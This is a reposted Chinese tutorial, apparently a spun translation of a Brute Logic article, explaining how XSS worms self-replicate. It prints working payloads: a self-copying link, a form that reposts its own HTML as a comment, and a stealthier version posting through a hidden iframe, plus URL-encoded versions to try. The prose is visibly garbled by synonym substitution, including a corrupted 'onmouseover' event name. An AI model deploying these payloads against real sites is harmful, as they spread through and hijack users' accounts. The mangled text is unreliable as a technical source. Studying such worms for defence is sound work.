XSS蠕虫的组成 8090安适门户
XSS打击最大的风险在于可能在一个系统中的用户间互相传染,以致整个系统的用户沦陷。能够造成这种风险的脚本我们称之为XSS蠕虫。
第一部分
XSS打击最大的风险在于可能在一个系统中的用户间互相传染,以致整个系统的用户沦陷。能够造成这种风险的脚本我们称之为xss蠕虫。
为了更好的理解为xss蠕虫的事情道理,我们需要开始一段崭新的旅程去了解结构自我复制的代码所需要的技术。
出于教学目的,我们将仅仅以最简单的代码实例做讲解。 所以我们尽可能制止使用XHR等js过程。
让我们来看看最简单的一个自我复制的反射型XSS实例。它仅仅能够在页面注入一个链接,打开这个链接将在新的标签页中注入同样的xss语句。
<a href target=_blank>click</a>
可以在这里(?p=%3Ca%20href%20target=_blank%3Eclick%3C/a%3E)测验考试一下。
此刻我们来看一个稍微庞大一些的例子。这个()页面用于发送评论,并且存在存储型xss。 如果我们在评论中插入如下代码:
<form method=post onclick=elements[0].value=outerHTML;submit()>
<input type=hidden name=comment>click me!</form>
这里注入了一个表格,使用post要领发送comment参数。每当onclick要领被触发时,它会将表格中的第一个元素的value填充为整个form标签内的html代码(包孕form标签自己)这样每当有人点击click me!我们就能不停的发送这条评论到评论页面中,也就完成了自我复制。
对付很少有用户交互的xss向量,我们可以使用onmou搜索引擎优化ver事件或者类似的css trick来增加触发蠕虫的可能性。
尽管上面这个例子看起来很有趣,但是实际上一般评论页面都不会允许在评论中插入一个表格,在反射型xss中更有可能触发,但是这样造成的风险并不大,所以为了造成实际风险,我们需要结合反射型XSS与存储型XSS。
下面的一段代码将被插入到一个反射型xss中。
<form method=post action="//brutelogic.com.br/tests/comments.php"
>
<input type=hidden name=comment>click me!</form>
当click me被点击时,它将向comments.php post数据,完成发送评论的操纵。和之前的html代码差此外是,他post的comment内容不再是一个表格,而是一个链接,链接的内容指向同样的xss向量,也就是注入了蠕虫代码的的存在存储型xss的页面。链接被点击后将继续造成蠕虫流传。
为了让打击进行的越发隐蔽,我们可以不让用户返回至comment页面,而是通过插入一个不偏见的iframe,并将请求在这个不偏见的iframe中打开,代码如下:
<iframe style=display:none name=x></iframe>
<form method=post action="//brutelogic.com.br/tests/comments.php"
target=x><input type=hidden name=comment>click me!</form>
在这里测验考试(?p=%3Ciframe%20style=display:none%20name=x%3E%3C/iframe%3E%3Cform%20method=post%20action=%22//brutelogic.com.br/tests/comments.php%22onclick=%22elements%5B0%5D.value=%27%3Ca/href=%27%2bURL%2b%27%3Elink%3C/a%3E%27;submit%28%29%22target=x%3E%3Cinput%20type=hidden%20name=comment%3Eclick%20me!%3C/form%3E)。
下一部分中,我们将做一个奇特的尝试,即xss在传统社交网络中的差别用户间的流传是如何进行的。
第二部分
为了理解XSS蠕虫的实际应用,我们首先介绍一下XSS蠕虫的流传环境,一个简单的社交网络。我们临时叫他XSSbook,它的数据库主要由三个表构成。
每个表的内容
users表有该社交系统中的用户信息,包孕用户id,登录名,姓名,加密后的暗码,电子邮箱地点和简单的自我介绍。
posts表存储了文章信息,包孕文章id,颁布者id,文章内容与文章颁布时间。
最后,follows表描述了用户之间收听与被收听的关系,即每个收听的用户的动态城市呈此刻该用户的timeline上。
这一系列php代码可以完成会话控制等成果,支撑整个系统的运转。
温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/12679.html